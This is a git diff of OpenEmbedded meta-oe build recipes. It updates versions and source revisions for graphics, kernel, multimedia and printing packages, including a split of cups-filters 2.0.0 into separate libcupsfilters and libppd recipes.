--- a/meta-openembedded/meta-oe/recipes-graphics/imlib2/imlib2_git.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/imlib2/imlib2_git.bb
@@ -7,8 +7,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=344895f253c32f38e182dcaf30fe8a35"
DEPENDS = "freetype "
PROVIDES = "virtual/imlib2"
-PV = "1.7.1"
-SRCREV = "01424487e360383a039dc123bc2a345fe7ea2535"
+PV = "1.12.1"
+SRCREV = "9198db25369f04db069ce61a661c3c47b2622655"
inherit autotools pkgconfig lib_package
@@ -28,7 +28,6 @@ PACKAGECONFIG[png] = "--with-png,--without-png,libpng"
PACKAGECONFIG[tiff] = "--with-tiff,--without-tiff,tiff"
PACKAGECONFIG[webp] = "--with-webp,--without-webp,libwebp"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
PACKAGECONFIG[id3] = "--with-id3,--without-id3,libid3tag"
@@ -37,6 +36,3 @@ PACKAGES =+ "${BPN}-loaders ${BPN}-filters ${BPN}-data"
FILES:${PN}-data = "${datadir}"
FILES:imlib2-loaders = "${libdir}/imlib2/loaders/*.so"
FILES:imlib2-filters = "${libdir}/imlib2/filters/*.so"
-
-inherit multilib_script
-MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/imlib2-config"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.1.99.bb b/meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.2.0.bb
index 078058e8ba..7c1ebc159c 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.1.99.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.2.0.bb
@@ -15,7 +15,7 @@ DEPENDS = " \
"
S = "${WORKDIR}/git"
-SRCREV = "0d63d125f899dbb1b932468f2f3b911f9c121e58"
+SRCREV = "ad320fc0e0ec2cd75a87fed454a9c7d6d1921464"
PACKAGECONFIG ?= "dbus ${@bb.utils.filter('DISTRO_FEATURES', 'gtk+3', d)}"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/lvgl/lv-drivers.inc b/meta-openembedded/meta-oe/recipes-graphics/lvgl/lv-drivers.inc
index dcf1ad14ba..6cfb7fa076 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/lvgl/lv-drivers.inc
+++ b/meta-openembedded/meta-oe/recipes-graphics/lvgl/lv-drivers.inc
@@ -17,6 +17,8 @@ LVGL_CONFIG_USE_WAYLAND = "${@bb.utils.contains('PACKAGECONFIG', 'wayland', '1',
LVGL_CONFIG_WAYLAND_HOR_RES ?= "480"
LVGL_CONFIG_WAYLAND_VER_RES ?= "320"
+ALLOW_EMPTY:${PN} = "1"
+
EXTRA_OECMAKE += "-Dinstall:BOOL=ON -DLIB_INSTALL_DIR=${baselib}"
do_configure:append() {
diff --git a/meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.9.bb b/meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.10.bb
index dc681c249b..7dd36cac2d 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.9.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.10.bb
@@ -9,13 +9,15 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENCE.txt;md5=bf1198c89ae87f043108cea62460b03a"
SRC_URI = "git://github.com/lvgl/lvgl;protocol=https;branch=release/v8.3"
-SRCREV = "9ec3b8706b098f60940cee6ac211d3cb3141aedf"
+SRCREV = "06e229cc7679c01119ca5d905a1f9dad96f475f0"
inherit cmake
EXTRA_OECMAKE = "-DLIB_INSTALL_DIR=${baselib}"
S = "${WORKDIR}/git"
+ALLOW_EMPTY:${PN} = "1"
+
LVGL_CONFIG_LV_MEM_CUSTOM ?= "0"
LVGL_CONFIG_LV_COLOR_DEPTH ?= "32"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_git.bb b/meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_0.7.1.bb
index 8344015204..99e63318a1 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_git.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_0.7.1.bb
@@ -4,11 +4,9 @@ HOMEPAGE = "https://github.com/any1/neatvnc"
LICENSE = "ISC"
LIC_FILES_CHKSUM = "file://COPYING;md5=94fc374e7174f41e3afe0f027ee59ff7"
-SRC_URI = "git://github.com/any1/neatvnc;branch=master;protocol=https"
+SRC_URI = "git://github.com/any1/neatvnc;branch=v0.7;protocol=https"
-SRCREV = "8b3dc1ae6099dcfa73aec3ae11df2fdc58540d14"
-
-PV = "0.6.0+git${SRCPV}"
+SRCREV = "b5b330b22c6a0fdeb718a9e7ee0732cc406863fa"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/openbox/openbox_3.6.1.bb b/meta-openembedded/meta-oe/recipes-graphics/openbox/openbox_3.6.1.bb
index 4c97c03978..9a15077316 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/openbox/openbox_3.6.1.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/openbox/openbox_3.6.1.bb
@@ -1,6 +1,6 @@
SUMMARY = "openbox Window Manager"
SECTION = "x11/wm"
-DEPENDS = "glib-2.0 pango libxml2 virtual/libx11 libcroco librsvg gdk-pixbuf"
+DEPENDS = "glib-2.0 pango libxml2 virtual/libx11 librsvg gdk-pixbuf"
LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/openjpeg/openjpeg_2.5.0.bb b/meta-openembedded/meta-oe/recipes-graphics/openjpeg/openjpeg_2.5.0.bb
index c71e535649..f2d74078e8 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/openjpeg/openjpeg_2.5.0.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/openjpeg/openjpeg_2.5.0.bb
@@ -18,4 +18,4 @@ EXTRA_OECMAKE += "-DOPENJPEG_INSTALL_LIB_DIR=${@d.getVar('baselib').replace('/',
FILES:${PN} += "${libdir}/openjpeg*"
-BBCLASSEXTEND = "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm-2.48_2.50.1.bb b/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm-2.48_2.50.1.bb
index b4079f7839..86787a6b7f 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm-2.48_2.50.1.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm-2.48_2.50.1.bb
@@ -6,7 +6,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499 \
DEPENDS = "mm-common cairomm-1.16 glibmm-2.68 pango"
-GNOMEBASEBUILDCLASS = "meson"
GNOMEBN = "pangomm"
inherit gnomebase features_check
diff --git a/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm_2.46.2.bb b/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm_2.46.2.bb
index 42074c14a1..da822f3243 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm_2.46.2.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/pango/pangomm_2.46.2.bb
@@ -6,7 +6,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499 \
DEPENDS = "mm-common cairomm glibmm pango"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase features_check
diff --git a/meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.2.bb b/meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.3.bb
index db66e890fa..e5310ae25a 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.2.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.3.bb
@@ -5,7 +5,7 @@ BUGTRACKER = "https://github.com/tesseract-ocr/tesseract/issues"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRCREV = "489f101c7e2276c00490f3ab70e9e7926fc6b481"
+SRCREV = "e082522c248d3121e466959a8ba4fd4f7ad1a525"
SRC_URI = "git://github.com/${BPN}-ocr/${BPN}.git;branch=main;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xkbutils_1.0.5.bb b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xkbutils_1.0.5.bb
index a672ba5e5e..f078ad60eb 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xkbutils_1.0.5.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xkbutils_1.0.5.bb
@@ -13,7 +13,5 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=64322fab5239f5c8d97cf6e0e14f1c62"
DEPENDS += "libxaw libxkbfile"
-BBCLASSEXTEND = "native"
-
SRC_URI_EXT = "xz"
SRC_URI[sha256sum] = "f6a4a8e9c54582beb3787b1faa8168caab125c1fee0ca9cfa5b6c9c1df25eea4"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xsetroot_1.1.2.bb b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xsetroot_1.1.2.bb
index 30a1e089e3..a9a8acf05c 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xsetroot_1.1.2.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xsetroot_1.1.2.bb
@@ -8,7 +8,6 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=6ea29dbee22324787c061f039e0529de"
DEPENDS += "xbitmaps libxcursor"
-BBCLASSEXTEND = "native"
SRC_URI[md5sum] = "5fe769c8777a6e873ed1305e4ce2c353"
SRC_URI[sha256sum] = "10c442ba23591fb5470cea477a0aa5f679371f4f879c8387a1d9d05637ae417c"
diff --git a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_384.bb b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_388.bb
index ae046b18c2..8578f0cc97 100644
--- a/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_384.bb
+++ b/meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_388.bb
@@ -8,7 +8,7 @@ SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
file://0001-Add-configure-time-check-for-setsid.patch \
"
-SRC_URI[sha256sum] = "31ef870740ceae020c3c4b4a9601c7f47bfd46672c1aaf2d213a565d64cbc373"
+SRC_URI[sha256sum] = "ac429345e6f937a5945a89d425a265fee6c215fc669dbdc6a0326e21f4c5f674"
PACKAGECONFIG ?= ""
PACKAGECONFIG[xft] = "--enable-freetype,--disable-freetype,libxft fontconfig freetype-native"
diff --git a/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool/0001-configure-Remove-the-logic-to-download-IANA-PEN-data.patch b/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool/0001-configure-Remove-the-logic-to-download-IANA-PEN-data.patch
deleted file mode 100644
index 442f132718..0000000000
--- a/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool/0001-configure-Remove-the-logic-to-download-IANA-PEN-data.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 63d72f97bd106dd2101cd7fdac6df4f7a053d67c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 2 Sep 2022 08:27:39 -0700
-Subject: [PATCH] configure: Remove the logic to download IANA PEN database
- during configure
-
-OE will do all downloading before it starts to configure therefore this
-step is moved out into bitbake recipe, so we can make it immutable build
-
-Upstream-Status: Inappropriate [OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 16 +---------------
- 1 file changed, 1 insertion(+), 15 deletions(-)
-
---- a/configure.ac
-+++ b/configure.ac
-@@ -56,21 +56,7 @@ if test "x$exec_prefix" = "xNONE"; then
- exec_prefix="$prefix"
- fi
-
--if test "x$WGET" = "x"; then
-- if test "x$CURL" = "x"; then
-- AC_MSG_WARN([** Neither wget nor curl could be found.])
-- AC_MSG_WARN([** IANA PEN database will not be installed by `make install` !])
-- else
-- DOWNLOAD="$CURL --location --progress-bar"
-- AM_CONDITIONAL([DOWNLOAD], [true])
-- fi
--else
-- DOWNLOAD="$WGET -c -nd -O -"
-- AM_CONDITIONAL([DOWNLOAD], [true])
--fi
--
--AC_MSG_WARN([** Download is:])
--AC_MSG_WARN($DOWNLOAD)
-+AM_CONDITIONAL([DOWNLOAD], [false])
- AC_SUBST(DOWNLOAD, $DOWNLOAD)
-
- dnl
diff --git a/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool_1.8.19.bb b/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool_1.8.19.bb
index ab9074bba5..a8279f5755 100644
--- a/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool_1.8.19.bb
+++ b/meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool_1.8.19.bb
@@ -21,10 +21,9 @@ LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=9aa91e13d644326bf281924212862184"
DEPENDS = "openssl readline ncurses"
-SRCREV = "19d78782d795d0cf4ceefe655f616210c9143e62"
+SRCREV = "ab5ce5baff097ebb6e2a17a171858be213ee68d3"
SRC_URI = "git://codeberg.org/ipmitool/ipmitool;protocol=https;branch=master \
${IANA_ENTERPRISE_NUMBERS} \
- file://0001-configure-Remove-the-logic-to-download-IANA-PEN-data.patch \
"
IANA_ENTERPRISE_NUMBERS ?= ""
@@ -34,7 +33,7 @@ IANA_ENTERPRISE_NUMBERS ?= ""
S = "${WORKDIR}/git"
-inherit autotools
+inherit autotools pkgconfig
do_install:append() {
if [ -e ${WORKDIR}/iana-enterprise-numbers ]; then
@@ -50,5 +49,10 @@ FILES:${PN} += "${datadir}/misc"
# --enable-file-security adds some security checks
# --disable-intf-free disables FreeIPMI support - we don't want to depend on
# FreeIPMI libraries, FreeIPMI has its own ipmitoool-like utility.
+# --disable-registry-download prevents the IANA numbers from being fetched
+# at build time, as it is not repeatable.
#
-EXTRA_OECONF = "--disable-dependency-tracking --enable-file-security --disable-intf-free"
+EXTRA_OECONF = "--disable-dependency-tracking --enable-file-security --disable-intf-free \
+ --disable-registry-download \
+ "
+
diff --git a/meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.0.bb b/meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.2.bb
index a8e1e5c0cb..8dbf7933bb 100644
--- a/meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.0.bb
+++ b/meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.2.bb
@@ -8,8 +8,8 @@ LIC_FILES_CHKSUM = "file://../LICENSE.LGPL-2.1;md5=b370887980db5dd40659b50909238
DEPENDS = "zlib elfutils"
-SRC_URI = "git://github.com/libbpf/libbpf.git;protocol=https;branch=master"
-SRCREV = "fbd60dbff51c870f5e80a17c4f2fd639eb80af90"
+SRC_URI = "git://github.com/libbpf/libbpf.git;protocol=https;branch=libbpf-v1.2.2-bugfix"
+SRCREV = "1728e3e4bef0e138ea95ffe62163eb9a6ac6fa32"
PACKAGE_ARCH = "${MACHINE_ARCH}"
COMPATIBLE_HOST = "(x86_64|i.86|arm|aarch64|riscv64|powerpc|powerpc64|mips64).*-linux"
diff --git a/meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.3.bb b/meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.4.bb
index 0ae691b39b..b016d5da4d 100644
--- a/meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.3.bb
+++ b/meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.4.bb
@@ -11,13 +11,14 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
LICENSE = "GPL-2.0-only"
SRCBRANCH ?= "master"
-SRCREV = "ecc9355e1344d3de94870e855e380ee84224e552"
+SRCREV = "3bc3b3e3be33a9aa040e654f055912063e576c1b"
DEPENDS = "bzip2 zlib elfutils xz"
RDEPENDS:${PN}-tools = "perl ${PN}"
-# mips would not compile.
-COMPATIBLE_HOST = "(x86_64|i.86|powerpc|arm|aarch64).*-linux"
+# mips/rv32 would not compile.
+COMPATIBLE_HOST:mipsarcho32 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
PACKAGES =+ "${PN}-tools"
FILES:${PN}-tools = "${bindir}/*.pl"
diff --git a/meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.19.22.bb b/meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.9.22.bb
index 104b946c68..b5c52a6edc 100644
--- a/meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.19.22.bb
+++ b/meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.9.22.bb
@@ -6,10 +6,12 @@ flow model and lock-free programming techniques for graph access have \
been used to have a more dynamic and robust system."
SECTION = "libs/multimedia"
-LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = " \
- file://common/jack/control.h;beginline=2;endline=21;md5=e6df0bf30cde8b3b825451459488195d \
- file://common/jack/jack.h;beginline=1;endline=19;md5=6b736ed6b810592b135480a5e853392e \
+ file://common/JackControlAPI.cpp;beginline=5;endline=19;md5=9d1921199e203163f160313243f853d6 \
+ file://common/JackControlAPI.h;beginline=4;endline=18;md5=9d1921199e203163f160313243f853d6 \
+ file://common/jack/jack.h;beginline=2;endline=17;md5=0a668d22ce661159cad28d1c3b8e66af \
+ file://common/JackServer.h;beginline=2;endline=17;md5=9bf0870727804a994ee2d19fd368d940 \
"
DEPENDS = "libsamplerate0 libsndfile1"
@@ -17,6 +19,8 @@ DEPENDS = "libsamplerate0 libsndfile1"
SRC_URI = "git://github.com/jackaudio/jack2.git;branch=master;protocol=https"
SRCREV = "4f58969432339a250ce87fe855fb962c67d00ddb"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
S = "${WORKDIR}/git"
inherit waf pkgconfig
@@ -50,4 +54,3 @@ FILES:jack-utils = "${bindir}/*"
FILES:${PN}-doc += " ${datadir}/jack-audio-connection-kit/reference/html/*"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-multimedia/webm/libvpx_1.13.1.bb b/meta-openembedded/meta-oe/recipes-multimedia/webm/libvpx_1.13.1.bb
index eab5546a1b..1354e2eb98 100644
--- a/meta-openembedded/meta-oe/recipes-multimedia/webm/libvpx_1.13.1.bb
+++ b/meta-openembedded/meta-oe/recipes-multimedia/webm/libvpx_1.13.1.bb
@@ -24,8 +24,6 @@ BUILD_LDFLAGS += "-pthread"
export CC
export LD = "${CC}"
-VPXTARGET:armv5te = "armv5te-linux-gcc"
-VPXTARGET:armv6 = "armv6-linux-gcc"
VPXTARGET:armv7a = "${@bb.utils.contains("TUNE_FEATURES","neon","armv7-linux-gcc","generic-gnu",d)}"
VPXTARGET ?= "generic-gnu"
diff --git a/meta-openembedded/meta-oe/recipes-navigation/geos/geos_3.12.0.bb b/meta-openembedded/meta-oe/recipes-navigation/geos/geos_3.12.0.bb
index 95cb29775a..0382e6bdfe 100644
--- a/meta-openembedded/meta-oe/recipes-navigation/geos/geos_3.12.0.bb
+++ b/meta-openembedded/meta-oe/recipes-navigation/geos/geos_3.12.0.bb
@@ -13,7 +13,7 @@ inherit cmake pkgconfig binconfig
PACKAGES =+ "geoslib ${PN}-c1"
DESCRIPTION:${PN}lib = "Geometry engine for Geographic Information Systems - C++ Library"
-FILES:${PN}lib += "${libdir}/libgeos-${PV}.so"
+FILES:${PN}lib += "${libdir}/libgeos.so.*"
DESCRIPTION:${PN}-c1 = "Geometry engine for Geographic Information Systems - C Library"
FILES:${PN}-c1 += "${libdir}/libgeos_c.so.*"
diff --git a/meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.1.1.bb b/meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.3.0.bb
index 6ce1c88772..59bded87f5 100644
--- a/meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.1.1.bb
+++ b/meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.3.0.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=f27445198ba1500f508fce2b183ce0ff"
DEPENDS = "sqlite3 sqlite3-native"
SRC_URI = "http://download.osgeo.org/${BPN}/${BP}.tar.gz"
-SRC_URI[sha256sum] = "003cd4010e52bb5eb8f7de1c143753aa830c8902b6ed01209f294846e40e6d39"
+SRC_URI[sha256sum] = "91a3695a004ea28db0448a34460bed4cc3b130e5c7d74339ec999efdab0e547d"
inherit cmake lib_package
diff --git a/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_1.28.17.bb b/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_1.28.17.bb
deleted file mode 100644
index fd82bb39c2..0000000000
--- a/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_1.28.17.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-DESCRIPTION = "CUPS backends, filters, and other software"
-HOMEPAGE = "http://www.linuxfoundation.org/collaborate/workgroups/openprinting/cups-filters"
-
-LICENSE = "GPL-2.0-only & LGPL-2.0-only & MIT & GPL-2.0-or-later & GPL-3.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d77679ce6a2cc4d873d4ebbf2a401e6"
-
-SECTION = "console/utils"
-
-DEPENDS = "cups glib-2.0 glib-2.0-native dbus dbus-glib lcms poppler qpdf libpng libexif"
-DEPENDS:class-native = "poppler-native glib-2.0-native dbus-native pkgconfig-native gettext-native libpng-native"
-
-SRC_URI = "https://github.com/OpenPrinting/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch"
-SRC_URI[sha256sum] = "270a3752a960368aa99d431fb5d34f4039b2ac943c576d840612d1d8185c9bb9"
-
-inherit autotools-brokensep gettext pkgconfig github-releases
-
-EXTRA_OECONF += " --disable-ldap \
- --with-pdftops=hybrid --enable-imagefilters \
- --enable-ghostscript --with-gs-path=${bindir}/gs \
- --with-pdftops-path=${bindir}/gs \
- --with-fontdir=${datadir}/fonts --with-rcdir=no \
- --with-cups-rundir=${localstatedir}/run/cups \
- --localstatedir=${localstatedir}/var \
- --with-rcdir=no \
- --without-php"
-
-EXTRA_OECONF:class-native += " --with-pdftops=pdftops \
- --disable-avahi --disable-ghostscript \
- --disable-ldap \
- --with-png --without-jpeg --without-tiff"
-
-BBCLASSEXTEND = "native"
-
-PACKAGECONFIG[jpeg] = "--with-jpeg,--without-jpeg,jpeg"
-PACKAGECONFIG[png] = "--with-png,--without-png,libpng"
-PACKAGECONFIG[tiff] = "--with-tiff,--without-tiff,tiff"
-
-PACKAGECONFIG ??= "dbus ${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)}"
-
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,,dbus"
-
-DIRFILES = "1"
-
-PACKAGES =+ "\
- ${PN}-gst \
- ${PN}-data \
- "
-
-FILES:${PN}-gst = "\
- ${libexecdir}/cups/filter/gsto* \
- "
-RDEPENDS:${PN}-gst += "ghostscript"
-
-FILES:${PN}-data = "\
- ${datadir}/cups/data \
- "
-
-FILES:${PN}-dbg += "\
- ${libexecdir}/cups/backend/.debug \
- ${libexecdir}/cups/driver/.debug \
- ${libexecdir}/cups/filter/.debug \
- "
-
-FILES:${PN} += "\
- ${libexecdir}/cups \
- ${datadir}/ppd/ \
- ${datadir}/cups/charsets \
- ${datadir}/cups/drv \
- ${datadir}/cups/mime \
- ${datadir}/cups/ppdc \
- ${datadir}/cups/banners \
-"
-RDEPENDS:${PN} += "bash"
-RDEPENDS:${PN} += "ghostscript"
-
-do_install:append() {
- # remove braille dir
- rm -rf ${D}${datadir}/cups/braille
-
- # remove sysroot path contamination from pkgconfig file
- sed -i -e 's:${STAGING_DIR_TARGET}::' ${D}/${libdir}/pkgconfig/libcupsfilters.pc
-}
diff --git a/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_2.0.0.bb b/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_2.0.0.bb
new file mode 100644
index 0000000000..0370ae79d2
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_2.0.0.bb
@@ -0,0 +1,27 @@
+DESCRIPTION = "CUPS backends, filters, and other software"
+HOMEPAGE = "http://www.linuxfoundation.org/collaborate/workgroups/openprinting/cups-filters"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6d5b952b53dbe7752199903d082e5f07"
+
+DEPENDS = "libcupsfilters libppd glib-2.0 poppler"
+
+SRC_URI = "https://github.com/OpenPrinting/${BPN}/releases/download/${PV}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "b5152e3dd148ed73835827ac2f219df7cf5808dbf9dbaec2aa0127b44de800d8"
+
+inherit autotools gettext pkgconfig github-releases
+
+EXTRA_OECONF += " \
+ --enable-imagefilters \
+ --enable-ghostscript --with-gs-path=${bindir}/gs \
+ --with-fontdir=${datadir}/fonts \
+ --localstatedir=${localstatedir} \
+"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)}"
+PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
+
+FILES:${PN} += "${datadir}"
+FILES:${PN}-dev += "${datadir}/ppdc"
+
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN} += "ghostscript"
diff --git a/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch b/meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch
index 5de8dae006..72bbf10a14 100644
--- a/meta-openembedded/meta-oe/recipes-printing/cups/cups-filters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch
+++ b/meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch
@@ -15,22 +15,22 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
filter/pdftoraster.cxx | 4 ++++
1 file changed, 4 insertions(+)
-diff --git a/filter/pdftoraster.cxx b/filter/pdftoraster.cxx
+diff --git a/cupsfilters/pdftoraster.cxx b/cupsfilters/pdftoraster.cxx
index e8af184fb..e91e22459 100755
---- a/filter/pdftoraster.cxx
-+++ b/filter/pdftoraster.cxx
-@@ -2148,7 +2148,11 @@ int main(int argc, char *argv[]) {
- /* For compatibility with g++ >= 4.7 compilers _GLIBCXX_THROW
- * should be used as a guard, otherwise use traditional definition */
+@@ -2198,7 +2198,11 @@
+ // For compatibility with g++ >= 4.7 compilers _GLIBCXX_THROW
+ // should be used as a guard, otherwise use traditional definition
#ifndef _GLIBCXX_THROW
+-#define _GLIBCXX_THROW throw
+#if __cplusplus < 201703L
- #define _GLIBCXX_THROW throw
++#define _GLIBCXX_THROW throw
+#else
+#define _GLIBCXX_THROW(x) noexcept(false)
+#endif
#endif
void * operator new(size_t size) _GLIBCXX_THROW (std::bad_alloc)
+
--
2.39.1
diff --git a/meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters_2.0.0.bb b/meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters_2.0.0.bb
new file mode 100644
index 0000000000..7f7174d940
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters_2.0.0.bb
@@ -0,0 +1,17 @@
+DESCRIPTION = "OpenPrinting libcupsfilters"
+HOMEPAGE = "https://github.com/OpenPrinting"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=aab2024bd2a475438a154cd1640c9684"
+
+DEPENDS = "cups fontconfig libexif dbus lcms qpdf poppler libpng jpeg tiff"
+
+SRC_URI = " \
+ https://github.com/OpenPrinting/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch \
+"
+SRC_URI[sha256sum] = "542f2bfbc58136a4743c11dc8c86cee03c9aca705612654e36ac34aa0d9aa601"
+
+inherit autotools gettext pkgconfig github-releases
+
+FILES:${PN} += "${datadir}"
+RDEPENDS:${PN} += "ghostscript"
diff --git a/meta-openembedded/meta-oe/recipes-printing/cups/libppd_2.0.0.bb b/meta-openembedded/meta-oe/recipes-printing/cups/libppd_2.0.0.bb
new file mode 100644
index 0000000000..99b1f6e730
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-printing/cups/libppd_2.0.0.bb
@@ -0,0 +1,18 @@
+DESCRIPTION = "OpenPrinting libppd"
+HOMEPAGE = "https://github.com/OpenPrinting"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c1fca671047153ce6825c4ab06f2ab49"
+
